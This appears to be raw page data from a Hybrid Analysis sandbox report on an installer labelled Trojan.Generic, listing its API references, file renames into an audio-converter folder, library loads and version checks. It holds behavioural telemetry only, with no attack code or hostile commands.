24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 6f:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T483,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample 4681dc1aa40c… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 4681dc1aa40c…. Malware family: Trojan.Generic. Threat score 100/100. 7/26 AV engines flagged this file. 14 malicious and 26 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283"],"about":{"@type":"SoftwareApplication","name":"file","applicationCategory":["compressed","innosetup"],"identifier":"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":7,"total":26},"behavioralIndicators":{"malicious":14,"suspicious":26},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T1a68,Found reference to API (Indicator: "DeleteFileA"; Source: "sample.bin"), Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "sample.bin"), Found reference to API (Indicator: "GetFileAttributesA"; Source: "sample.bin"), Found reference to API (Indicator: "SeShutdownPrivilege"; Source: "sample.bin"), Found reference to API (Indicator: "GetLocaleInfoA"; Source: "sample.bin"), Found reference to API (Indicator: "GetEnvironmentVariableA"; Source: "sample.bin"), Found reference to API (Indicator: "SysAllocStringLen"; Source: "sample.bin"), Found reference to API (Indicator: "GetExitCodeProcess"; Source: "sample.bin"), Found reference to API (Indicator: "RtlUnwind"; Source: "sample.bin"), Found reference to API (Indicator: "CreateDirectoryA"; Source: "sample.bin"), Found reference to API (Indicator: "CreateWindowExA"; Source: "sample.bin"), Found reference to API (Indicator: "SetEndOfFile"; Source: "sample.bin"), Found reference to API (Indicator: "LoadLibraryA"; Source: "sample.bin"), Found reference to API (Indicator: "GetFileSize"; Source: "sample.bin"), Found reference to API (Indicator: "TranslateMessage"; Source: "sample.bin"), Found reference to API (Indicator: "TlsGetValue"; Source: "sample.bin"), Found reference to API (Indicator: "GetModuleHandleA"; Source: "sample.bin"), Found reference to API (Indicator: "RegQueryValueExA"; Source: "sample.bin"), Found reference to API (Indicator: "FormatMessageA"; Source: "sample.bin"), Found reference to API (Indicator: "SetSearchPathMode"; Source: "sample.bin"), Found reference to API (Indicator: "RegOpenKeyExA"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemInfo"; Source: "sample.bin"), Found reference to API (Indicator: "Wow64RevertWow64FsRedirection"; Source: "sample.bin"), Found reference to API (Indicator: "DispatchMessageA"; Source: "sample.bin"), Found reference to API (Indicator: "TlsSetValue"; Source: "sample.bin"), Found reference to API (Indicator: "LookupPrivilegeValueA"; Source: "sample.bin"), Found reference to API (Indicator: "GetProcAddress"; Source: "sample.bin"), Found reference to API (Indicator: "RaiseException"; Source: "sample.bin"), Found reference to API (Indicator: "CreateFileA"; Source: "sample.bin"), Found reference to API (Indicator: "RegCloseKey"; Source: "sample.bin"), Found reference to API (Indicator: "LeaveCriticalSection"; Source: "sample.bin"), Found reference to API (Indicator: "EnterCriticalSection"; Source: "sample.bin"), Found reference to API (Indicator: "SetProcessDEPPolicy"; Source: "sample.bin"), Found reference to API (Indicator: "WideCharToMultiByte"; Source: "sample.bin"), Found reference to API (Indicator: "SizeofResource"; Source: "sample.bin"), Found reference to API (Indicator: "RemoveDirectoryA"; Source: "sample.bin"), Found reference to API (Indicator: "InterlockedExchange"; Source: "sample.bin"), Found reference to API (Indicator: "IsDBCSLeadByte"; Source: "sample.bin"), Found reference to API (Indicator: "VirtualQuery"; Source: "sample.bin"), Found reference to API (Indicator: "MsgWaitForMultipleObjects"; Source: "sample.bin"), Found reference to API (Indicator: "SetFilePointer"; Source: "sample.bin"), Found reference to API (Indicator: "VariantClear"; Source: "sample.bin"), Found reference to API (Indicator: "GetACP"; Source: "sample.bin"), Found reference to API (Indicator: "Wow64DisableWow64FsRedirection"; Source: "sample.bin"), Found reference to API (Indicator: "DestroyWindow"; Source: "sample.bin"), Found reference to API (Indicator: "GetUserDefaultLangID"; Source: "sample.bin"), Found reference to API (Indicator: "DeleteCriticalSection"; Source: "sample.bin"), Found reference to API (Indicator: "ExitProcess"; Source: "sample.bin"), Found reference to API (Indicator: "MessageBoxA"; Source: "sample.bin"), Found reference to API (Indicator: "GetFileType"; Source: "sample.bin"), Found reference to API (Indicator: "GetModuleFileNameA"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentProcess"; Source: "sample.bin"), Found reference to API (Indicator: "LocalFree"; Source: "sample.bin"), Found reference to API (Indicator: "InitializeCriticalSection"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemDefaultLCID"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemTime"; Source: "sample.bin"), Found reference to API (Indicator: "CharPrevA"; Source: "sample.bin"), Found reference to API (Indicator: "VariantCopyInd"; Source: "sample.bin"), Found reference to API (Indicator: "GetFullPathNameA"; Source: "sample.bin"), Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "sample.bin"), Found reference to API (Indicator: "SetDllDirectoryW"; Source: "sample.bin"), Found reference to API (Indicator: "VirtualAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "GetStdHandle"; Source: "sample.bin"), Found reference to API (Indicator: "SysStringLen"; Source: "sample.bin"), Found reference to API (Indicator: "PeekMessageA"; Source: "sample.bin"), Found reference to API (Indicator: "GetVersionExA"; Source: "sample.bin"), Found reference to API (Indicator: "LocalAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "SetErrorMode"; Source: "sample.bin"), Found reference to API (Indicator: "VirtualProtect"; Source: "sample.bin"), Found reference to API (Indicator: "GetCommandLineA"; Source: "sample.bin"), Found reference to API (Indicator: "WriteFile"; Source: "sample.bin"), Found reference to API (Indicator: "Sleep"; Source: "sample.bin"), Found reference to API (Indicator: "LoadStringA"; Source: "sample.bin"), Found reference to API (Indicator: "LoadResource"; Source: "sample.bin"), Found reference to API (Indicator: "VirtualFree"; Source: "sample.bin"), Found reference to API (Indicator: "CreateProcessA"; Source: "sample.bin"), Found reference to API (Indicator: "SetWindowLongA"; Source: "sample.bin"), Found reference to API (Indicator: "ReadFile"; Source: "sample.bin"), Found reference to API (Indicator: "CallWindowProcA"; Source: "sample.bin"), Found reference to API (Indicator: "OpenProcessToken"; Source: "sample.bin"), Found reference to API (Indicator: "ExitWindowsEx"; Source: "sample.bin"), Found reference to API (Indicator: "GetLastError"; Source: "sample.bin"), Found reference to API (Indicator: "LockResource"; Source: "sample.bin"), Found reference to API (Indicator: "MultiByteToWideChar"; Source: "sample.bin"), Found reference to API (Indicator: "GetWindowsDirectoryA"; Source: "sample.bin"), Found reference to API (Indicator: "SetLastError"; Source: "sample.bin"), Found reference to API (Indicator: "CloseHandle"; Source: "sample.bin"), Found reference to API (Indicator: "FindResourceA"; Source: "sample.bin")26:T10e0,"file.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-OVA8F.tmp" to "%LOCALAPPDATA%\IramSoft\EN Audio Converter\unins000.exe" "file.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\Lang\is-IV91A.tmp" to "%LOCALAPPDATA%\IramSoft\EN Audio Converter\Lang\settings.ini" "file.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-B0U1P.tmp" to "%LOCALAPPDATA%\IramSoft\EN Audio Converter\Admin run MMWaveEditX.bat" "file.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-KUMP9.tmp" to "%LOCALAPPDATA%\IramSoft\EN Audio Converter\AntiWatermark.dll" "file.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-NS8P1.tmp" to "%LOCALAPPDATA%\IramSoft\EN Audio Converter\ApngDecoder.dll" "file.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-1DQB3.tmp" to "%LOCALAPPDATA%\IramSoft\EN Audio Converter\AudioDataImp.dll" "file.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-MLG5J.tmp" to "%LOCALAPPDATA%\IramSoft\EN Audio Converter\AudioFilter.dll" "file.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-UJRBF.tmp" to "%LOCALAPPDATA%\IramSoft\EN Audio Converter\AudioResample.dll" "file.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-ECHF3.tmp" to "%LOCALAPPDATA%\IramSoft\EN Audio Converter\avdevice-55.dll" "file.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-DQV0E.tmp" to "%LOCALAPPDATA%\IramSoft\EN Audio Converter\AVPlayer.dll" "file.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-G95JB.tmp" to "%LOCALAPPDATA%\IramSoft\EN Audio Converter\AVTools.dll" "file.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-PISV5.tmp" to "%LOCALAPPDATA%\IramSoft\EN Audio Converter\avutil-52.dll" "file.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-H69SE.tmp" to "%LOCALAPPDATA%\IramSoft\EN Audio Converter\BurnControl.dll" "file.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-IVAQ3.tmp" to "%LOCALAPPDATA%\IramSoft\EN Audio Converter\BurnCoreData.dll" "file.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-M7P6N.tmp" to "%LOCALAPPDATA%\IramSoft\EN Audio Converter\BurnDVDFolder.dll" "file.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-GAPV1.tmp" to "%LOCALAPPDATA%\IramSoft\EN Audio Converter\BurnKernel.dll" "file.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-9N1MP.tmp" to "%LOCALAPPDATA%\IramSoft\EN Audio Converter\BurnKernel.dll.intermediate.manifest" "file.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-1C44R.tmp" to "%LOCALAPPDATA%\IramSoft\EN Audio Converter\CDDB.dll" "file.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-QC2VF.tmp" to "%LOCALAPPDATA%\IramSoft\EN Audio Converter\ckbtn.dll" "file.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-FP29R.tmp" to "%LOCALAPPDATA%\IramSoft\EN Audio Converter\devmmc.dll" "file.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-J90NT.tmp" to "%LOCALAPPDATA%\IramSoft\EN Audio Converter\devmmc.dll.intermediate.manifest" "file.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-V6A1E.tmp" to "%LOCALAPPDATA%\IramSoft\EN Audio Converter\DVDAudioRip.dll" "file.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-77M1C.tmp" to "%LOCALAPPDATA%\IramSoft\EN Audio Converter\DVDRead.dll" "file.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-VHDIC.tmp" to "%LOCALAPPDATA%\IramSoft\EN Audio Converter\EraseCD.dll" "file.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-A9KTH.tmp" to "%LOCALAPPDATA%\IramSoft\EN Audio Converter\EraseDisc.dll"27:T1632,"file.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000824) "file.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e02ce47484edef00226e57760000d904000000002d6e5776aaa98ba32d000000ecb7da7408eeef00b1ce980098532675c8edef00b1ce98008000000048edef0001000000ccedef0070c85876d63539d5feffffff2d000000d0cce974270000009cedef00856a59761c235e76dcedef00f85f597608000000bb695876b2695876f2a98ba32d000000ecb7da7427000000d0cce974b0edef002d000000d0cce97427000000e0edef00856a59761c235e7628eeef007e8ae874ee8ce874738ae874dea684972d000000ecb7da7427000000d0cce974b411d9044811d904dea68497f0edef00fc522675dceeef00e084e874ceb94fe2feffffff738ae874 (UID: 00000000-00000824) "file.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000824) "file.tmp" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005244) "file.tmp" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005244) "file.tmp" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005244) "schtasks.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006584) "DioConverterRipper.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002852) "DioConverterRipper.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001844)28:T8b6,"file.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000214000d8f7ef00482140004f214000409c4000409c4000030000008c03ea046c03ea0420000000c522400004f8ef00ee224000f5224000409c400003000000f0f7ef0000000000fcf7ef00b6254000dd314000409c400009040000fb55400003564000409c4000409c400000b0c5000000000000000000000000001cf8ef00 (UID: 00000000-00000824) "file.tmp" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000021400018ff5b00fc214000032240007885490078854900030000008c0377046c037704200000007923400044ff5b00a2234000a9234000788549000300000030ff5b00000000003cff5b006a2640004534400078854900090400006f89400077894000788549007885490000707f000000000000000000000000005cff5b00 (UID: 00000000-00005244) "file.tmp" called "GetVersionExA" with parameter 940000000600000002000000f023000002000000000b5c00ea09430000000000d4fe5b0066c0002e0009430000000000bcfe5b002cff5b0070ff5b0050d4d174277da493feffffff1c2fcf74632bcf742cff5b00000000007cff5b00a70943002cff5b00576e6450726f635074723030343030303030303030303033363800000085490000004000000701066803000000707f00 (UID: 00000000-00005244) "file.tmp" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000000000f023000002000000000b5c00ea09430000000000d4fe5b0066c0002e0009430000000000bcfe5b002cff5b0070ff5b0050d4d174277da493feffffff1c2fcf74632bcf742cff5b00000000007cff5b00a70943002cff5b00576e6450726f635074723030343030303030303030303033363800000085490000004000 (UID: 00000000-00005244) "file.tmp" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005244) "file.tmp" called "GetVersionExA" with parameter 9c0000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006074f4da39665cff5b007b354800000060742436480001000000090000000010000000000100fffffeff0300000002000000d8210000000001000600004f (UID: 00000000-00005244)29:T49d,Found reference to API "GetSystemDefaultLCID" (Indicator: "GetSystemDefaultLCID"; File: "file") Found reference to API "GetLocaleInfoA" (Indicator: "GetLocaleInfo"; File: "file") Found reference to API "GetSystemDefaultLCID" (Indicator: "GetSystemDefaultLCID"; Source: "00000000-00000824.00000000.67101.0040B000.00000004.mdmp") Found reference to API "GetLocaleInfoA" (Indicator: "GetLocaleInfo"; Source: "00000000-00000824.00000000.67101.0040B000.00000004.mdmp") Found reference to API "EnumSystemLocalesW" (Indicator: "EnumSystemLocales"; Source: "00000000-00001844.00000000.67907.004B0000.00000002.mdmp") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; Source: "00000000-00001844.00000000.67907.004B0000.00000002.mdmp") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; Source: "00000000-00001844.00000000.67907.004B0000.00000002.mdmp") Found reference to API "GetSystemDefaultLCID" (Indicator: "GetSystemDefaultLCID"; Source: "00000000-00005244.00000000.67138.0049B000.00000004.mdmp") Found reference to API "GetLocaleInfoA" (Indicator: "GetLocaleInfo"; Source: "00000000-00005244.00000000.67138.0049B000.00000004.mdmp")2a:T43b,Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; File: "file") Found reference to API "GetUserObjectInformationA" (Indicator: "GetUserObjectInformation"; File: "is-NS8P1.tmp.3264458212") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00000824.00000000.67101.0040B000.00000004.mdmp") Found reference to API "GetMonitorInfoA" (Indicator: "GetMonitorInfo"; Source: "00000000-00005244.00000000.67138.00401000.00000020.mdmp") Found reference to API "GetNativeSystemInfo" (Indicator: "GetNativeSystemInfo"; Source: "00000000-00005244.00000000.67138.00401000.00000020.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00005244.00000000.67138.0049B000.00000004.mdmp") Found reference to API "ExpandEnvironmentStringsW" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00005244.00000000.67138.004A1000.00000002.mdmp") Found reference to API "ExpandEnvironmentStringsA" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00005244.00000000.67138.004A1000.00000002.mdmp")2b:T4bf,Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; File: "is-NS8P1.tmp.3264458212") Found reference to API "function FindWindowByClassName(const ClassName: String): HWND;" (Indicator: "FindWindow"; Source: "00000000-00005244.00000000.67138.00401000.00000020.mdmp") Found reference to API "function FindWindowByWindowName(const WindowName: String): HWND;" (Indicator: "FindWindow"; Source: "00000000-00005244.00000000.67138.00401000.00000020.mdmp") Found reference to API "GetWindowTextA" (Indicator: "GetWindowText"; Source: "00000000-00005244.00000000.67138.0049B000.00000004.mdmp") Found reference to API "GetForegroundWindow" (Indicator: "GetForegroundWindow"; Source: "00000000-00005244.00000000.67138.0049B000.00000004.mdmp, 00000000-00005244.00000000.67138.733B7000.00000002.mdmp") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; Source: "00000000-00005244.00000000.67138.0049B000.00000004.mdmp") Found reference to API "FindWindowA" (Indicator: "FindWindow"; Source: "00000000-00005244.00000000.67138.0049B000.00000004.mdmp") Found reference to API "EnumWindows" (Indicator: "EnumWindows"; Source: "00000000-00005244.00000000.67138.0049B000.00000004.mdmp")2c:T41a,"file.exe" called "CreateDirectoryA" with parameter %TEMP%\is-7FJGB.tmp (UID: 00000000-00000824) "file.tmp" called "CreateDirectoryA" with parameter %TEMP%\is-COCHO.tmp (UID: 00000000-00005244) "file.tmp" called "CreateDirectoryA" with parameter %TEMP%\is-COCHO.tmp\_isetup (UID: 00000000-00005244) "file.tmp" called "CreateDirectoryA" with parameter %LOCALAPPDATA%\IramSoft (UID: 00000000-00005244) "file.tmp" called "CreateDirectoryA" with parameter %LOCALAPPDATA%\IramSoft\EN Audio Converter (UID: 00000000-00005244) "file.tmp" called "CreateDirectoryA" with parameter %LOCALAPPDATA%\IramSoft\EN Audio Converter\Lang (UID: 00000000-00005244) "file.tmp" called "CreateDirectoryA" with parameter %LOCALAPPDATA%\IramSoft\EN Audio Converter\Microsoft.VC90.CRT (UID: 00000000-00005244) "file.tmp" called "CreateDirectoryA" with parameter %LOCALAPPDATA%\IramSoft\EN Audio Converter\pf (UID: 00000000-00005244) "file.tmp" called "CreateDirectoryA" with parameter %LOCALAPPDATA%\IramSoft\EN Audio Converter\pf\common audio (UID: 00000000-00005244)2d:Td24,"file.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000824) "file.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000824) "file.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000824) "file.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000824) "file.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00000824) "file.tmp" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005244) "file.tmp" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005244) "file.tmp" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005244) "file.tmp" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005244) "file.tmp" called "LoadLibrary" with a parameter uxtheme.dll (UID: 00000000-00005244) "file.tmp" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00005244) "file.tmp" called "LoadLibrary" with a parameter shfolder.dll (UID: 00000000-00005244) "file.tmp" called "LoadLibrary" with a parameter %TEMP%\is-COCHO.tmp\_isetup\_iscrypt.dll (UID: 00000000-00005244) "file.tmp" called "LoadLibrary" with a parameter Rstrtmgr.dll (UID: 00000000-00005244) "file.tmp" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005244) "file.tmp" called "LoadLibrary" with a parameter User32.dll (UID: 00000000-00005244) "file.tmp" called "LoadLibrary" with a parameter mpr.dll (UID: 00000000-00005244) "file.tmp" called "LoadLibrary" with a parameter %WINDIR%\system32\shlwapi.dll (UID: 00000000-00005244) "file.tmp" called "LoadLibrary" with a parameter %WINDIR%\system32\sfc.dll (UID: 00000000-00005244) "schtasks.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006584) "schtasks.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006584) "schtasks.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006584) "schtasks.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006584) "DioConverterRipper.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002852) "DioConverterRipper.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002852) "DioConverterRipper.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002852) "DioConverterRipper.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002852) "DioConverterRipper.exe" called "LoadLibrary" with a parameter appxsip.dll (UID: 00000000-00002852) "DioConverterRipper.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001844) "DioConverterRipper.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001844) "DioConverterRipper.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001844) "DioConverterRipper.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001844) "DioConverterRipper.exe" called "LoadLibrary" with a parameter appxsip.dll (UID: 00000000-00001844)2e:T1270,"file.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\IramSoft\EN Audio Converter\is-OVA8F.tmp & %LOCALAPPDATA%\IramSoft\EN Audio Converter\unins000.exe (UID: 00000000-00005244) "file.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\IramSoft\EN Audio Converter\Lang\is-IV91A.tmp & %LOCALAPPDATA%\IramSoft\EN Audio Converter\Lang\settings.ini (UID: 00000000-00005244) "file.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\IramSoft\EN Audio Converter\is-B0U1P.tmp & %LOCALAPPDATA%\IramSoft\EN Audio Converter\Admin run MMWaveEditX.bat (UID: 00000000-00005244) "file.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\IramSoft\EN Audio Converter\is-KUMP9.tmp & %LOCALAPPDATA%\IramSoft\EN Audio Converter\AntiWatermark.dll (UID: 00000000-00005244) "file.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\IramSoft\EN Audio Converter\is-NS8P1.tmp & %LOCALAPPDATA%\IramSoft\EN Audio Converter\ApngDecoder.dll (UID: 00000000-00005244) "file.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\IramSoft\EN Audio Converter\is-1DQB3.tmp & %LOCALAPPDATA%\IramSoft\EN Audio Converter\AudioDataImp.dll (UID: 00000000-00005244) "file.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\IramSoft\EN Audio Converter\is-MLG5J.tmp & %LOCALAPPDATA%\IramSoft\EN Audio Converter\AudioFilter.dll (UID: 00000000-00005244) "file.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\IramSoft\EN Audio Converter\is-UJRBF.tmp & %LOCALAPPDATA%\IramSoft\EN Audio Converter\AudioResample.dll (UID: 00000000-00005244) "file.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\IramSoft\EN Audio Converter\is-ECHF3.tmp & %LOCALAPPDATA%\IramSoft\EN Audio Converter\avdevice-55.dll (UID: 00000000-00005244) "file.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\IramSoft\EN Audio Converter\is-DQV0E.tmp & %LOCALAPPDATA%\IramSoft\EN Audio Converter\AVPlayer.dll (UID: 00000000-00005244) "file.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\IramSoft\EN Audio Converter\is-G95JB.tmp & %LOCALAPPDATA%\IramSoft\EN Audio Converter\AVTools.dll (UID: 00000000-00005244) "file.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\IramSoft\EN Audio Converter\is-PISV5.tmp & %LOCALAPPDATA%\IramSoft\EN Audio Converter\avutil-52.dll (UID: 00000000-00005244) "file.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\IramSoft\EN Audio Converter\is-H69SE.tmp & %LOCALAPPDATA%\IramSoft\EN Audio Converter\BurnControl.dll (UID: 00000000-00005244) "file.tmp" called "MoveFileA" with parameter %LOCALAPPDATA%\IramSoft\EN Audio 